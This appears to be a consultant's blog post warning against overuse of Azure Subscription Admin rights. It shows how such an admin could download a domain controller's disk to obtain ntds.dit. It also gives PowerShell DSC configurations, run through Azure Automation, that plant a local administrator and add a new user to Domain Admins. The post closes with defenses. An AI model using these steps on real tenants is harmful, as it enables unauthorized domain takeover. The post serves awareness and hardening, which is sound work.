Subscription Admin is the new Domain Admin

For years we’ve been fighting the never ending battle, of having too many Domain Admins. Now we have a new battle to win: Stop the use of Subscription Admins in Azure!

In my consultant role, I see Subscription Admin role being used much like Domain Admins group is. I don’t really blame customers who’s been on Azure for a while. From the very beginning of Azure, everyone who needed to manage resources, had to be subscription co-administrators. There was no role based access control like we have in Azure Resource Manager. Microsoft had the chance to make it right from the beginning, but failed to. Anyways, we do have the tools now, so start using them!

“Meh, I use VMs and I’m okay with trusted people having access to my resources – it’s not like they have access to stuff inside my VMs” – I see your point, but let’s take a closer look at that statement:

It’s core infrastructure!

First of all – do you give admin access to your Hyper-V or VMware environments, for everyone who needs to just do simple tasks? Treat Azure like your virtualization platform – or to be honest, make it more secure. As a Subscription Admin, I can access the Storage Accounts, and download VHDs. Yes, it’s that simple. An example: I have a Domain Controller running in Azure. Using best practice, I have of course added an extra VHD and put my AD database on that disk, making it even easier to download. Fire up my favorite tool to explore Azure Storage Accounts (portal or other tools), browse to the file, and download:

storageexplorerdownloaddisk

Now it’s just a matter of time before my precious little ntds.dit file is cracked open and put on sale online.

Azure tools make it easy

What if I just wanted to inject a user to a VM I don’t have credentials for? The combination of Azure Automation and PowerShell DSC makes this sooooo easy! Let’s say I wanted access to your Active Directory, but:

  1. I don’t know you AD domain name
  2. I don’t have an account in your AD

First I would need to get access to a VM in your domain. For that I will use the DSC User resource, to create a local user on the VM. That would look something like this:

[powershell]
Configuration LocalUser
{

$cred = Get-AutomationPSCredential -Name ‘SecretUser’

Node "localhost"
{
#Create User
User SecretUser
{
Ensure = "Present"
UserName = "SecretUser"
Password = $cred
}
}
}
[/powershell]

Next I need to give that user some permissions, so I can logon. Using the DSC Group resource, I can modify Group memberships, like this:

[powershell]Configuration LocalUser
{

$cred = Get-AutomationPSCredential -Name ‘SecretUser’

Node "localhost"
{
#Create User
User SecretUser
{
Ensure = "Present"
UserName = "SecretUser"
Password = $cred
}

#Add user to local administrators
Group LocalAdministrators
{
Ensure = "Present"
GroupName = "Administrators"
MembersToInclude = "SecretUser"
DependsOn = "[User]SecretUser"
}
}
}[/powershell]

Loading that DSC config into Azure Automation, and applying it to a VM, takes a few minutes. Now I have a user which is local administrator on the VM:

localuser

From there it’s easy to figure out your domain name, and find a Domain Controller. Now I just need access to your Domain Controller, but my user is just a local administrator, on a single VM. Time to look at DSC again. Using xActiveDirectory module (which I can download on the VM I just got into), I can add a user and easily make it a member of Domain Admins. First I need to copy the module:

[powershell]
Configuration CopyModule
{
$cred = Get-AutomationPSCredential -Name ‘SecretUser’

Node "localhost"
{
File ADModule
{
Ensure = "Present"
Type = "Directory"
Recurse = $true
SourcePath = "\securevm01ModulesxActiveDirectory"
DestinationPath = "C:Program FilesWindowsPowerShellModulesxActiveDirectory"
Credential = $cred
}
}
}
[/powershell]

After applying that configuration to a DC, I can go ahead and add a user to the domain, and add it to Domain Admins:

[powershell]
Configuration DomainUser
{
Import-DscResource -ModuleName xActiveDirectory

$cred = Get-AutomationPSCredential -Name ‘SecretUser’

Node "localhost"
{
xADUser SecretUser
{
DomainName = "mgmt.cloudpuzzles.net"
UserName = "SecretDUser"
Password = $cred
Ensure = ‘Present’
}

xADGroup DomainAdmins
{
GroupName = ‘Domain Admins’
MembersToInclude = ‘SecretDUser’
}
}
}
[/powershell]

And voila:

domainuser

This whole thing took me about 20 minutes, and I can clean it up afterwards, so no wierd resources are lying around in Azure.

Password reset

All VMs have a local administrator account – if I know the name, I can reset the password. This requires that I actually know what you named your local administrator when you created your VM. Maybe I sat next to you when you created it. Maybe it’s the company name? If I get the name, I can easily reset the password:

resetpw

How do I protect myself?

This was just a few ways of getting access to your VMs. Scared yet? Good. There is built-in tools in Azure to protect you from the above scenarios. First of all, you should implement Multi-Factor Authentication for your administrative users. It’s a feature of Azure Active Directory.
MFA only secures the login process though. What if you have a rogue admin or consultant? Role Based Access Control in Azure can help you limit the permissions users have, and you can fine grain it to very specific permissions, on specific resources.
Another nice feature is Azure Resource Manager Policies, which let’s you limit all kind of things in Azure; Which regions can be used, which services are available, what sizes of VM can be deployed etc. So even if someone gets too many permissions, you can prevent them from doing bad stuff, and have the attempt logged.

Last but not least. Activity Log in Azure logs all actions users perform. If someone adds a new DSC config, it’s logged. If someone resets a password, it’s logged. Make sure you have the right tools to gain insight in those logs! Export the logs,and keep them safe – or better yet, import them to OMS!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s